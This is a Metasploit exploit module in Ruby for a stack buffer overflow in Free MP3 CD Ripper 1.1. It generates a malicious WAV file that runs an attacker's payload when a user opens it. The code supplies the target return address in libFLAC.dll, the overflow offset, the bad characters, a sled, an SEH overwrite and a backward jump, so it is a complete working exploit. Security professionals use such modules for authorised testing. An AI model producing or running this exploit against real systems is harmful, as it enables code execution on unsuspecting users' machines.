## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Free MP3 CD Ripper 1.1 (WAV File) Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow found in Free MP3 CD Ripper 1.1. The overflow is triggered when an unsuspecting user opens a malicious WAV file. }, 'License' => MSF_LICENSE, 'Author' => [ 'Richard Leahy', # Initial discovery 'X-h4ck', # msf module is based on his poc 'Tiago Henriques', # msf module 'James Fitts' # clean ups ], 'References' => [ [ 'OSVDB', '63349' ], [ 'URL', 'http://www.exploit-db.com/exploits/11975' ], #Initial disclosure [ 'URL', 'http://www.exploit-db.com/exploits/17727/' ] #This exploit is based on this poc ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'BadChars' => "\x00\x0a\x0d\x20", 'StackAdjustment' => -3500, 'DisableNops' => 'True', }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3 EN', { 'Ret' => 0x1001860b, # p/p/r in libFLAC.dll 'Offset' => 4116 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Aug 27 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.wav']), ], self.class) end def exploit wav = Metasm::Shellcode.assemble(Metasm::Ia32.new, "inc ecx").encode_string * 100 wav << payload.encoded wav << rand_text_alpha_upper(target['Offset'] - (100 + payload.encoded.length)) wav << generate_seh_record(target.ret) wav << Metasm::Shellcode.assemble(Metasm::Ia32.new, "inc ecx").encode_string * 4 wav << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4050").encode_string print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(wav) end end